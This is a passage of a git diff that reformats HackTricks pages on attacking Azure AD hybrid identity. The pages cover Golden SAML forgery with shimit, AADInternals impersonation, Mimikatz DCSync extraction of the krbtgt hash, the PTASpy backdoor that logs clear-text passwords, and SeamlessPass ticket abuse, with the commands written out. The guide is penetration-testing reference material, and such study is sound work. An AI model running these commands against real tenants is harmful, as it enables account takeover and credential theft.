-* "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
-* Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
-* A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
-* TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
-* More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
+- AD FS is a claims-based identity model.
+- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
+- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
+- A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
+- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
+- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
 **Golden SAML attack:**
 
-* In ADFS, SAML Response is signed by a token-signing certificate.
-* If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
-* Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
-* The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
-* More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
+- In ADFS, SAML Response is signed by a token-signing certificate.
+- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
+- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
+- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
+- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
 ### Golden SAML
 
@@ -71,26 +60,26 @@ A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.
 
 Golden SAMLs offer certain advantages:
 
-* They can be **created remotely**, without the need to be part of the domain or federation in question.
-* They remain effective even with **Two-Factor Authentication (2FA)** enabled.
-* The token-signing **private key does not automatically renew**.
-* **Changing a user’s password does not invalidate** an already generated SAML.
+- They can be **created remotely**, without the need to be part of the domain or federation in question.
+- They remain effective even with **Two-Factor Authentication (2FA)** enabled.
+- The token-signing **private key does not automatically renew**.
+- **Changing a user’s password does not invalidate** an already generated SAML.
 
 #### AWS + AD FS + Golden SAML
 
-[Active Directory Federation Services (AD FS)](https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402\(v=msdn.10\)) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
+[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
 
 With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.
 
 The requirements for executing a golden SAML attack include:
 
-* **Token-signing private key**
-* **IdP public certificate**
-* **IdP name**
-* **Role name (role to assume)**
-* Domain\username
-* Role session name in AWS
-* Amazon account ID
+- **Token-signing private key**
+- **IdP public certificate**
+- **IdP name**
+- **Role name (role to assume)**
+- Domain\username
+- Role session name in AWS
+- Amazon account ID
 
 _Only the items in bold are mandatory. The others can be filled in as desired._
 
@@ -112,7 +101,6 @@ To acquire the **private key**, access to the **AD FS user account** is necessar
 
 With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:**
 
-{% code overflow="wrap" %}
 ```bash
 # Apply session for AWS cli
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -127,9 +115,8 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
 # Save SAMLResponse to file
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
 ```
-{% endcode %}
 
-<figure><img src="../../../../.gitbook/assets/image (128).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
 
 ### On-prem -> cloud
 
@@ -155,7 +142,7 @@ Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://
 It's also possible to create ImmutableID of cloud only users and impersonate them
 
 ```powershell
-# Create a realistic ImmutableID and set it for a cloud only user 
+# Create a realistic ImmutableID and set it for a cloud only user
 [System.Convert]::ToBase64String((New-Guid).tobytearray())
 Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
 
@@ -168,20 +155,7 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
-* [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
+- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
similarity index 60%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index a509782eb..7c61e9337 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -1,25 +1,12 @@
 # Az - PHS - Password Hash Sync
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
 
-<figure><img src="../../../../.gitbook/assets/image (173).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
 
 It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
 
@@ -36,8 +23,8 @@ When an on-prem user wants to access an Azure resource, the **authentication tak
 
 When PHS is configured some **privileged accounts** are automatically **created**:
 
-* The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
-* An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
+- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
+- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
 
 Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
 The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
@@ -73,9 +60,8 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
 ```
 
-{% hint style="danger" %}
-You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
-{% endhint %}
+> [!CAUTION]
+> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
 
 ### Abusing Sync\_\*
 
@@ -115,36 +101,22 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 
 It's also possible to dump the password of this user.
 
-{% hint style="danger" %}
-Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
-{% endhint %}
+> [!CAUTION]
+> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
 
 ### Seamless SSO
 
 It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:
 
-{% content-ref url="seamless-sso.md" %}
-[seamless-sso.md](seamless-sso.md)
-{% endcontent-ref %}
+{{#ref}}
+seamless-sso.md
+{{#endref}}
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
-* [https://aadinternals.com/post/on-prem\_admin/](https://aadinternals.com/post/on-prem_admin/)
-* [https://troopers.de/downloads/troopers19/TROOPERS19\_AD\_Im\_in\_your\_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
-* [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
new file mode 100644
index 000000000..dcf4d820c
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
@@ -0,0 +1,70 @@
+# Az - PTA - Pass-through Authentication
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
+
+In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
+
+The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
+
+### Authentication flow
+
+<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
+
+1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
+2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
+3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
+4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
+
+> [!WARNING]
+> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
+> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
+
+### On-Prem -> cloud
+
+If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
+
+```powershell
+Install-AADIntPTASpy
+```
+
+> [!NOTE]
+> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
+
+It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
+
+```powershell
+Get-AADIntPTASpyLog -DecodePasswords
+```
+
+This backdoor will:
+
+- Create a hidden folder `C:\PTASpy`
+- Copy a `PTASpy.dll` to `C:\PTASpy`
+- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
+
+> [!NOTE]
+> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
+
+### Cloud -> On-Prem
+
+> [!CAUTION]
+> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
+
+### Seamless SSO
+
+It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## References
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
+- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
similarity index 61%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
index 75a5557f0..a9039c850 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -1,25 +1,12 @@
 # Az - Seamless SSO
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components.
 
-<figure><img src="../../../../.gitbook/assets/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
+<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
 Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**.
 
@@ -74,47 +61,43 @@ To utilize the silver ticket, the following steps should be executed:
 
 1. **Initiate the Browser:** Mozilla Firefox should be launched.
 2. **Configure the Browser:**
-   * Navigate to **`about:config`**.
-   * Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
-     * `https://aadg.windows.net.nsatc.net`
-     * `https://autologon.microsoftazuread-sso.com`
+   - Navigate to **`about:config`**.
+   - Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
+     - `https://aadg.windows.net.nsatc.net`
+     - `https://autologon.microsoftazuread-sso.com`
 3. **Access the Web Application:**
-   * Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
+   - Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
 4. **Authentication Process:**
-   * At the logon screen, the username should be entered, leaving the password field blank.
-   * To proceed, press either TAB or ENTER.
+   - At the logon screen, the username should be entered, leaving the password field blank.
+   - To proceed, press either TAB or ENTER.
 
-{% hint style="success" %}
-This doesn't bypass MFA if enabled
-{% endhint %}
+> [!TIP]
+> This doesn't bypass MFA if enabled
 
 #### Option 2 without dcsync - SeamlessPass
 
 It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
 
-* **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
-* **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
-* **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
-* **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
+- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
+- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
+- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
 
 Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
 
-{% code overflow="wrap" %}
 ```
 seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
 ```
-{% endcode %}
 
 Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
 
 #### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824\(v=ws.10\)).
+If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
 
-{% hint style="danger" %}
-Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
-For info check [https://aadinternals.com/post/on-prem\_admin/](https://aadinternals.com/post/on-prem_admin/)
-{% endhint %}
+> [!CAUTION]
+> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
+> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
 
 ### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
@@ -126,22 +109,9 @@ python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
-* [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
-* [https://aadinternals.com/post/on-prem\_admin/](https://aadinternals.com/post/on-prem_admin/)
-* [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
+- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
similarity index 63%
rename from pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 4cef6beb1..28c96b512 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -1,25 +1,12 @@
 # Az - Pass the PRT
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
